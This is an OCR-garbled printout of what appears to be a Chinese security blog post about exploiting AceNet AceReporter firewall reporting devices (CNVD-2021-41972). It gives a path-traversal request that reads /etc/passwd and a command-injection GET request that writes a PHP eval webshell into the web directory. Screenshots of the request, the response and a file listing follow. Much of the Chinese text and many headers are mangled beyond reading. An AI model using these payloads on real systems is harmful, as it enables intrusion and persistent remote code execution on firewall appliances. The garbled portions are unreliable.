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5 CNVD-2021-41972

name: AceMet AceReporter Report - Arbitrary File Download  author: dhiyaneshdk  security: High
description: All firewall devices that use the AceNet AceReporter report component can download arbitrary files
reference:

- https./fwww.cnvd.org.cn/flaw/show/cnvd-2021-41972
- https://github.com/hktalent/scandall/blob/main/lib/goby/goby pocs/acenet acereporter report_component arbitrary file download.txt

https:/ ‘view/action/download file.php?filename=././.././.././././ Jetc/passwdBisavename=phrfv.ixt

—

BEHRARAIZEIRN T X NIWIR , RS —MEESHSERHRR T |, A4 T KLY , IFHMENT —TF

Request Wik HEX Rezponse

n/download File.phpifilename=../u.foofeofefoafeef ool . fete/passwdbsavename-phrfyv, txt- HTTP 1.1 H 1.1-200
Host

sec-ch-ua: - "Not)A;Brand”; 3" - "Chromium” jv="138"

sec-ch-ua-mobile: - 7

ure-Requests: - 1 Content-Type:

User-Agent: -Mozillass. ¢

PF Sarver
Sec-Fetch-Site: -r 12 Content-Length: 11/
Sec-Fetch-Mode: -navigate
Sec-Fatch-Usar:  ?
Sec-Fetch-Dest: - document

82 BRI RN, BRERNFE DM LERT | JEPOCHE , BRERMT AN

https://cn-sec.com/archives/4631959.html

1/5


https://cn-sec.com/archives/tag/%e7%ba%a2%e9%98%9f%e5%ae%9e%e6%88%98
https://cn-sec.com/archives/tag/%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96

4/8/26, 4:11 PM LN ZF——BEHKBRBMI R — shell | CN-SEC F3xH

B L

BFR&

B8 ? 2. RS EMITHBIRRL ? EASRE |, EALEXA—MFRMTE AR 2 IR T fE—IBCNVD-2021-4197227 5 , KHLE Rx{ZXMRASHK
T #EIReporter A, MIXAMAHFAETE IR

BREKAD LERRHE , RIT ...

hitps://stack chaitin.com » detail - Translate this page 3

poc-yaml-huayu-reporter-rce - CT Stack 211X - £ZFH%
ElReporter A MG ER S, SATLMTAERRENRREAS, EREFIAMRER, FEEER
I~ RRERATEELooMRATERG S, MiMmzHiz .

CSDN{#EZ
https://blog csdn.net » details - Translate this page 3

e Reporterss < JENTERIR £
26 Jan 2024 — ZAHHEERS, FRTLMTAERRENREASR, ZRAFIMAEER, TWEE
%I, TRERAEELHIRRITERGS, MMEHliZiasE, #AmmEsInm ..

B

https:/fzhuanlan zhihu.com» .. - Translate this page 3

Rz 218 &rcellfA 34 (0dayFnday)
6 Feb 2023 — MNdayF|0dayfI— MR (BT EodayE), SR FE2EEReportersa 2 NBE S
&, RMZEAEEReporterf BT —MAGSHENETR, ZAEE

EHEESEAER—T 2 2 FkPOCE—% !

https://cn-sec.com/archives/4631959.html 2/5


https://cn-sec.com/archives/tag/%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96

4/8/26, 4:11 PM

TN FE——BESHEBEMTA— shell | CN-SEC F3xH

1. GET Iview/Behavior/toQuery.php?method=getList&objClass=%0aech0%20%27Junsheng%3C?php%20@eval%28%_POST%5B%27shellpass%27%5D%29;?

%3E%27%3E/var/www/reporter/view/Behavior/tsdakkico.php%0a HTTP/1.1Host: ip:port

ng%3CTphp! _POSTHSB%2T HITHI0%2%?
HIEHITRIES H L hp%0a
WM 12 124 T 1x B +
Bl HTTPS e BETHT KB socksSyN127000:11027 %
Reguest e Lt i

1 GET. fview/Behavior/toQuery.ph?
phpiZogevalX2es_POSTXSEX2"

2 Host ¥ : L - m

3 Connection: -keep-alive

4 sec-ch-ua: - "Not JA; Brand” ;wv="8", - "Chroniun™;v="138", . "Google: Chrome";v="138"
5 #ac-ch-us-mebila: - 79
B
7
&

degetlisthobjCl t]

sec-ch-ua-platform: - “Hindoes"
Upgrade - Insecure-Requests:- 1

Safard 537,26

1 applica: g hange;w=bd;q=8.7
18 See-Feteh-Site: -nane

n Sec-Fetch-Mode: -navigate

1z Sec-Fetch-User: - 71

13 Sec-Fetch-Dest: -document
Accept-Encoding: -gzip, - deflate, -br, - 25td
15 Aeespt-Language: -zh-CH, zhq=8.5%
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=/
= [ var
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= reporter
= view
I Behavior

[ Jcft ik (123)
oH® - ALE CRE

&
AiZNGybvk.php
Alarm.php
AllBehavior.php
BBSBehavior.php
CloudSecurityIP.php
CloudSecurityURL.php
DropBehavior.php
DropFC.php
DropFirewall.php
EmailPop3.php
Emailsmtp.php
EmailWebSend.php
FtpDownload.php
FtpDownload_auth.php
FtpLogin.php
FtpLogin_auth.php
FtpUpload.php
FtpUpload_auth.php
Host_Group.php
Http_User.php
IMALBABAChat.php
IMALBABALogin. php
IMALBABAXfer.php

Hik

LELES

;@@@@@@@B@@@B@@@B@@@B@@@

“2TES0%29 ; PXIEXITIIE fvar s/ reporter view/ Behavier/

nFE -

[ x0T [ Codec M3

echo ‘Junsheng <Tphp Gevall§_POST] MIN]17 ' fvar/www/reporter/view/Behavior WESchp

o O QD e _ooe iz
1 HITP/1.1-268- 0K
phpkBa HTTP/1.1 2 X-Powered-By:

User-Agent: -Mozilla/S .0 (Windows:HT-18.8;-WinG4; -x6d ) App leWebit /537. 36 (KHTML, - like: Gecka) Chrome/138.8.8.8-

9 Accept:-text/htnl,application/xhtmlexnl,application/xnl;q=8.9, inage avif, inage fwebp, inage /apng, */* ;q-B.8,

<HE Bl B
E3 = = 25

2

3 Set-Cookie: WD o =

4 L
5 Cache-Control: - no-store, no-cache, -must-revalidate, - post-check=0, - pre-check=8
6 Pragea:-no-cache
7 Contant-tunar text/htnl; charset=UTF-8
B u
3 Server: g

10
11
L — 3 #E
A& Fo B
-10-2° 4 41b 1]
R | (- S — 22.44 Kb (1]
DS THE ) 7.89 Kb ]
. - 8.08 Kb 1]
i - 13.75 kb 0
Zm — 11.24 Kb 0
2 6.81 Kb 0
. - o 17.51 Kb 0
b - i 124 kb 0
2NN -V . 15.33Kb (1]
2umm ] 15.91 Kb 0
2 I i 17.33 Kb 0
2 0- 11.36 Kb ]
2. - 11.37 Kb (1]
2 U u 10.76 Kb 0
2wl EoEm 11.05 Kb 0
2 K 11.35 Kb 0
2pemmow] Qs = 11.36 Kb (1]
2 13.26 Kb 1]
J-24 09: 11.8Kb 0
- - 15.1 Kb 0
2 = - 10.71 Kb 1}
2 - . 14.54 Kb 0
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